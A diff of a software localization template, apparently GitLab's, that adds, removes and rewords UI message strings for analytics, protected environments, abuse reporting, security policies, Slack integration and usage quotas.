+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
